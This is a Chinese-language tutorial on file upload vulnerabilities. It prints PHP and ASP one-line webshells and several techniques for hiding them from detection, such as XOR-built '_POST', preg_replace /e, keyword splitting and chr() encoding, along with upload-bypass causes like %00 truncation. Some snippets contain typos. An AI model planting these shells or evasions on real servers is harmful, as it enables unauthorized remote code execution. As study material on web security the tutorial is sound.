文件上传漏洞

时间:2021-09-18 01:06:32

文件上传漏洞

1、WebShell及相关知识点

​ webshell是web管理工具,可以对web服务器进行操作。以前都是正规的web远程管理工具,可以进行文件的上传下载、数据库查看等功能,甚至可以调用一些服务器上系统的相关命令(创建用户,修改文件之类的)。

  1. ​ 木马
    • 木马是指可操控用户计算机系统的恶意程序,严重可造成用户的系统被破坏甚至瘫痪
  2. 后门
    • 程序中有利用隐藏端口进行数据传输,窃取
  3. webshell作用
    • webshell就是web的木马后门,向网站上传一个一句话木马,然后利用webshell这个工具通过木马后门进入网站,查看网页文件等

2、一句话木马

  1. 后门执行代码。通常一句话木马体积小可随意插入web站点而不影响原本代码的执行,通过一句话木马,我们可以利用webshell工具与该网站进行连接

  2. 木马特点:

    1. 隐蔽性

      不会被用户发现该木马程序

    2. 自启动

      木马会随着计算机系统的启动而自动启动

    3. 欺骗性

      为防止直接被用户认出,木马一般会感染常用文件名

    4. 自动恢复

      当木马的某一功能模块丢失时,他能够自动恢复为失去之前的状态。现在很多木马的功能已不再是有单一的文件所组成,二十有多重备份,可以互相恢复的文件。

    5. 端口自启

      木马潜入目标计算机的目的不是为了破坏文件,目的在于获取目标计算机中的有用信息,因此就需要保证能与目标计算机进行通信。木马会采用服务器/客户端的通信手段把获取到的有用信息传递给黑客,一边黑客能控制该计算机或实现更进一步的企图。

  3. 木马编写

    • 木马编写分为两个部分:①、用户可控参数;②、系统命令执行函数

      <?php eval($POST['123456']);?>

      这是一个php代码

      eval:执行函数

      POST:用户可控参数

  4. 木马免杀

    1. 构造法绕过检测(PHP)

      这种方法是来应对一般的检测程序,它会检测出“__POST”、“system”、“call_user_func_array”这样常见的木马字符。

      • ​ 绕过方法:通过与或运算将输入的关键字符用其他字符表示,并在代码中对其进行与或运算还原成原关键词

        <?php
        @$_++;			//这里++让‘_’自加1
        $_=("#"^"|");	//_
        $_=("."^"~");	//P
        $_=("/"^"'");	//O
        $_=("|"^"/");	//S
        $_=("{"^"/");	//T
            ?>
        <?php @$_++;
        $_=("#"^"|").("."^"~").("/"^"'").("|"^"/").("{"^"/");	//$_的值为_POST
        @${$_}[!$_](${$_}[$_]);?>
            //结果为@$_POST[0]($POST[1])
            //!$_:表示1的相反(1为真,0为假)
        
      • 这种方法能直接避免在代码中出现关键字符,但是绕过方法较弱,因为最终参数的二进制值还是与关键字符的二进制相同,如果检测程序会检测二进制码的值,还是会被过滤掉。

    2. 正则表达式代替法(PHP)

      php中有一个函数preg_replace()函数,这个函数可以实现正则表达式的代替工作。用替换绕过检测系统还需要php脚本语言的一个函数特性,函数在调用的时候,如果函数里面的形参符的值里面含有命令,就会执行这个命令。

      <?php
      function funfunc($str){}
      echopreg_replace("/<title>(.+?)<\/title>/ies",'funfunc("\1")',$_POST["cmd"]);
      ?>
      
      • 上述代码就是替代的一个过程,首先创建一个空函数,然后使用preg_replace函数替换表单cmd中的<title></title>(这里是html里面表示主题)为funfunc,将post表单中的值写成<title>{${phpinfo()}}</title>通过置换,就会变成funfunc({${phpinfo()}}),由于${}可以解析{}中的内容,所以这里的phpinfo就可以顺利执行了。
    3. 回避法(asp)

      因为有的asp服务器为了防止一句话马,会过滤<%,%>

      <script language=VBScriptrunat=server>execute request("cmd")</Scipt>
      

      功能相同,就是慌形式,回避特定脚本语言:aspx一句话

      <script language="C#" runat="server">WebAdmin2Y.x.y aaaaa = new WebAdmin2Y.x.y("add6bb58e139be10");</script>
      
    4. 拆分法(asp)

      将<%eval request(“x”)%>拆分为<%Y=request(“x”)%><%eval(Y)%>

      <%IfRequest("MH")<>"" Then Execute(Request("MH")) %>
      <%if request("MH")<>""thensession ("MH")=request("MH"): end if:ifsession("MH")<>""then executesession ("MH")%>
      

      以上两句使用了if一句将其分开,中心思想将敏感字符拆分,因为一般asp特征码为eval(request或者execute(request,拆分了之后检测不到特征码,就直接绕过了。

    5. 乱码变形(ANSI->Unicode加密)

      <%eval request("#")%>变形为“十墉敷畲整耀焕敲蹉V│阕”
      eval(eval(chr(114)+chr(101)+chr(113)+chr(117)+chr(101)+chr(115)+chr(116))("brute")) %&gt;
      

      上面一行代码是采用了ascii加密的方法,chr(114)代表的是ascii中的编号为114个那个字符,即r。上述代码转换后的代码为<%eval(eval(request("brute") ) %>

3、文件上传漏洞

  1. 原理:由于web应用程序没有对上传的文件进行安全判断或者判断条件不够严谨,导致恶意攻击者可以上传木马脚本文件到服务器中,从而执行恶意代码。

  2. 文件上传流程:通常文件上传过程为客户端以文件表单的方式向服务器提交上传的文件数据,服务器接受请求包,接受上传的文件生成临时文件,对临时文件进行安全性检测,读取临时文件信息,判断文件是否合规,通过文件安全性检测后,才会将文件保存到服务器

    文件上传漏洞利用通常分为两个部分: webshell文件上传和webshell文件连接。第一部分:Webshell文件上传部分,需要利用网站文件上传功能点,绕过站点的安全性检测上传websehll文件到服务器中,还需要确认文件的存放路径,文件名是否有被服务器重名命以及文件能否正确被服务端脚本语言解析。第二部分: webshell文件连接,使用浏览器打开webshell文件或者使用工具连接webshell 文件,扩展功能。

  3. 常见的文件上传漏洞成因

    1. 服务器配置不当
      • 在不需要上传文件的情况下可导致任意文件上传,参考HTTP请求方法 PUT
    2. 本地文件上传被绕过
      • 只在客户端浏览器上做了文件限制而没有在远程的服务器上做限制,只需要修改上传时发送的数据包就可以轻松绕过上传限制
    3. 过滤不严或被绕过
      • 有些网站使用上传黑名单过滤掉一些可执行文件脚本的后缀,但是黑名单不全或者被绕过,也可导致恶意文件上传。如果使用白名单,仅允许名单内所包含的文件格式上传会更加安全。
    4. 文件解析漏洞导致文件执行
      • 前端修改文件后缀,绕过针对后缀名的黑白名限制,当修改后缀的文件可以被当成服务端语言脚本解析。例如: php5、php3、phtml等后缀可以被服务端脚本语言解析。
    5. 路径截断
      • 路径解读与系统解析文件有关,例如:window操作在读取文件时,当碰到%00时,就不会再解析空格后面的内容。以“1.php%00.txt”为例,当解析到%00时,该文件后缀.txt不会被解析,则该文件会被当成php脚本进行处理。(所以这里需要知道服务器的系统)